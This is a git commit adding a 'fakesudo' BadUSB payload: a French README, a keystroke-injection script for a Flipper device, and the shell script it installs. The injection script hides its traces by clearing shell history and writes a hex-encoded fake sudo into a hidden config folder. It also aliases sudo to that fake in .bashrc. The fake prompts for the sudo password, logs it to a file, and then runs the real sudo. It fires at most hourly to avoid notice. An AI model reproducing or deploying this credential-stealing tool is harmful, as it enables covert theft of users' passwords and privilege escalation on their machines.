Téléverser les fichiers vers "badUSB/fakesudo"
This commit is contained in:
		
						commit
						518fcffa66
					
				|  | @ -0,0 +1,19 @@ | ||||||
|  | Le script `systemd-local` est le bout de code du fakesudo qui lui mm est en hexa dans le fichier `fakesudo.txt`.  | ||||||
|  | 
 | ||||||
|  | Le script `systemd-local` alias `fakesudo` ne s'active seulement une fois par heure max afin de ne pas alerter l'utilisateur. | ||||||
|  | 
 | ||||||
|  | Rien a faire de spécial à part brancher le flipper et injecter le payload. | ||||||
|  | 
 | ||||||
|  | Les mots de passes récupérés pas le `fakesudo` sont disponible dans le répertoire `/home/$USER/.config/.dsystem/log/systemd-local.log` | ||||||
|  | 
 | ||||||
|  | Pour le moment il ne gère que la commande `sudo`. Dans une prochaine version, la commande `su` sera aussi prise en compte. | ||||||
|  | 
 | ||||||
|  | Enjoy and HackThePlanet !!! | ||||||
|  | 
 | ||||||
|  | ## **_PS: Bien évident je ne suis pas responsable de ce que vous faites avec ce script._** | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  |  | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | @ -0,0 +1,132 @@ | ||||||
|  | REM ####################################################### | ||||||
|  | REM #                                                     | | ||||||
|  | REM # Title        : FakeSudo - Linux                     | | ||||||
|  | REM # Author       : Snorky                               | | ||||||
|  | REM # Version      : 1.0                                  | | ||||||
|  | REM # Category     : Credentials                          | | ||||||
|  | REM # Target       : Linux                                | | ||||||
|  | REM #                                                     | | ||||||
|  | REM ####################################################### | ||||||
|  | 
 | ||||||
|  | REM Requirements: | ||||||
|  | REM     - Nothing special. :) | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | REM ##################### | ||||||
|  | REM #                   # | ||||||
|  | REM # BEGIN:            # | ||||||
|  | REM #   Open a terminal # | ||||||
|  | REM #                   # | ||||||
|  | REM ##################### | ||||||
|  | 
 | ||||||
|  | DELAY 500 | ||||||
|  | CTRL-ALT t | ||||||
|  | DELAY 500 | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | REM ########### | ||||||
|  | REM #         # | ||||||
|  | REM # Set Var # | ||||||
|  | REM #         # | ||||||
|  | REM ########### | ||||||
|  | 
 | ||||||
|  | REM Nop i'm not in your HISTORY.. :) | ||||||
|  | STRING unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE | ||||||
|  | ENTER | ||||||
|  | DELAY 100 | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | REM DIR LOG and Binary name | ||||||
|  | STRING _DIR="/home/$USER/.config/.dsystem/bin";  _BIN="systemd-local"; _LOG="/home/$USER/.config/.dsystem/log" | ||||||
|  | ENTER | ||||||
|  | DELAY 100 | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | REM ######################## | ||||||
|  | REM #                      # | ||||||
|  | REM # Create DIR           # | ||||||
|  | REM # Push fakesudo script # | ||||||
|  | REM #                      # | ||||||
|  | REM ######################## | ||||||
|  | 
 | ||||||
|  | STRING cd | ||||||
|  | ENTER | ||||||
|  | DELAY 100 | ||||||
|  | 
 | ||||||
|  | STRING mkdir -p $_DIR | ||||||
|  | ENTER | ||||||
|  | DELAY 100 | ||||||
|  | 
 | ||||||
|  | STRING mkdir -p $_LOG | ||||||
|  | ENTER | ||||||
|  | DELAY 100 | ||||||
|  | 
 | ||||||
|  | STRING echo -e """ | ||||||
|  | STRING \x23\x21\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x0a\x5f\x44\x49\x52\x5f\ | ||||||
|  | ENTER | ||||||
|  | STRING \x4c\x4f\x47\x3d\x22\x2f\x68\x6f\x6d\x65\x2f\x24\x55\x53\x45\x52\ | ||||||
|  | ENTER | ||||||
|  | STRING \x2f\x2e\x63\x6f\x6e\x66\x69\x67\x2f\x2e\x64\x73\x79\x73\x74\x65\ | ||||||
|  | ENTER | ||||||
|  | STRING \x6d\x2f\x6c\x6f\x67\x22\x0a\x5f\x44\x49\x52\x5f\x42\x49\x4e\x3d\ | ||||||
|  | ENTER | ||||||
|  | STRING \x22\x2f\x68\x6f\x6d\x65\x2f\x24\x55\x53\x45\x52\x2f\x2e\x63\x6f\ | ||||||
|  | ENTER | ||||||
|  | STRING \x6e\x66\x69\x67\x2f\x2e\x64\x73\x79\x73\x74\x65\x6d\x2f\x62\x69\ | ||||||
|  | ENTER | ||||||
|  | STRING \x6e\x22\x0a\x5f\x54\x53\x3d\x30\x0a\x0a\x5f\x44\x41\x54\x45\x3d\ | ||||||
|  | ENTER | ||||||
|  | STRING \x24\x28\x64\x61\x74\x65\x20\x2b\x25\x73\x29\x0a\x0a\x5f\x44\x49\ | ||||||
|  | ENTER | ||||||
|  | STRING \x46\x46\x3d\x24\x28\x28\x20\x24\x5f\x44\x41\x54\x45\x20\x2d\x20\ | ||||||
|  | ENTER | ||||||
|  | STRING \x24\x5f\x54\x53\x20\x29\x29\x0a\x0a\x69\x66\x20\x5b\x20\x24\x5f\ | ||||||
|  | ENTER | ||||||
|  | STRING \x44\x49\x46\x46\x20\x2d\x67\x74\x20\x33\x36\x30\x30\x20\x5d\x3b\ | ||||||
|  | ENTER | ||||||
|  | STRING \x20\x74\x68\x65\x6e\x0a\x0a\x20\x20\x20\x20\x72\x65\x61\x64\x20\ | ||||||
|  | ENTER | ||||||
|  | STRING \x2d\x73\x70\x20\x22\x5b\x73\x75\x64\x6f\x5d\x20\x70\x61\x73\x73\ | ||||||
|  | ENTER | ||||||
|  | STRING \x77\x6f\x72\x64\x20\x66\x6f\x72\x20\x24\x55\x53\x45\x52\x3a\x20\ | ||||||
|  | ENTER | ||||||
|  | STRING \x22\x20\x5f\x53\x50\x0a\x20\x20\x20\x20\x65\x63\x68\x6f\x20\x22\ | ||||||
|  | ENTER | ||||||
|  | STRING \x22\x0a\x20\x20\x20\x20\x73\x6c\x65\x65\x70\x20\x32\x0a\x20\x20\ | ||||||
|  | ENTER | ||||||
|  | STRING \x20\x20\x65\x63\x68\x6f\x20\x22\x53\x6f\x72\x72\x79\x2c\x20\x74\ | ||||||
|  | ENTER | ||||||
|  | STRING \x72\x79\x20\x61\x67\x61\x69\x6e\x2e\x22\x0a\x20\x20\x20\x20\x65\ | ||||||
|  | ENTER | ||||||
|  | STRING \x63\x68\x6f\x20\x24\x5f\x53\x50\x20\x3e\x3e\x20\x24\x5f\x44\x49\ | ||||||
|  | ENTER | ||||||
|  | STRING \x52\x5f\x4c\x4f\x47\x2f\x24\x28\x62\x61\x73\x65\x6e\x61\x6d\x65\ | ||||||
|  | ENTER | ||||||
|  | STRING \x20\x24\x30\x29\x2e\x6c\x6f\x67\x0a\x20\x20\x20\x20\x73\x65\x64\ | ||||||
|  | ENTER | ||||||
|  | STRING \x20\x2d\x69\x20\x27\x30\x2c\x2f\x5f\x54\x53\x3d\x2e\x2a\x2f\x20\ | ||||||
|  | ENTER | ||||||
|  | STRING \x73\x2f\x2f\x5f\x54\x53\x3d\x27\x24\x5f\x44\x41\x54\x45\x27\x2f\ | ||||||
|  | ENTER | ||||||
|  | STRING \x27\x20\x24\x5f\x44\x49\x52\x5f\x42\x49\x4e\x2f\x24\x28\x62\x61\ | ||||||
|  | ENTER | ||||||
|  | STRING \x73\x65\x6e\x61\x6d\x65\x20\x24\x30\x29\x0a\x66\x69\x0a\x0a\x2f\ | ||||||
|  | ENTER | ||||||
|  | STRING \x75\x73\x72\x2f\x62\x69\x6e\x2f\x73\x75\x64\x6f\x20\x24\x40\x0a\ | ||||||
|  | ENTER | ||||||
|  | STRING """ > $_DIR/$_BIN | ||||||
|  | ENTER | ||||||
|  | DELAY 100 | ||||||
|  | 
 | ||||||
|  | STRING echo "alias sudo=\"$_DIR/$_BIN\" "  >> .bashrc | ||||||
|  | ENTER | ||||||
|  | DELAY 100 | ||||||
|  | 
 | ||||||
|  | STRING chmod +x $_DIR/$_BIN | ||||||
|  | ENTER | ||||||
|  | DELAY 100 | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | STRING exit | ||||||
|  | ENTER | ||||||
|  | 
 | ||||||
|  | @ -0,0 +1,21 @@ | ||||||
|  | #!/bin/sh | ||||||
|  | 
 | ||||||
|  | _DIR_LOG="/home/$USER/.config/.dsystem/log" | ||||||
|  | _DIR_BIN="/home/$USER/.config/.dsystem/bin" | ||||||
|  | _TS=0 | ||||||
|  | 
 | ||||||
|  | _DATE=$(date +%s) | ||||||
|  | 
 | ||||||
|  | _DIFF=$(( $_DATE - $_TS )) | ||||||
|  | 
 | ||||||
|  | if [ $_DIFF -gt 3600 ]; then | ||||||
|  | 
 | ||||||
|  |     read -sp "[sudo] password for $USER: " _SP | ||||||
|  |     echo "" | ||||||
|  |     sleep 2 | ||||||
|  |     echo "Sorry, try again." | ||||||
|  |     echo $_SP >> $_DIR_LOG/$(basename $0).log | ||||||
|  |     sed -i '0,/_TS=.*/ s//_TS='$_DATE'/' $_DIR_BIN/$(basename $0) | ||||||
|  | fi | ||||||
|  | 
 | ||||||
|  | /usr/bin/sudo $@ | ||||||
		Loading…
	
		Reference in New Issue
	
	Block a user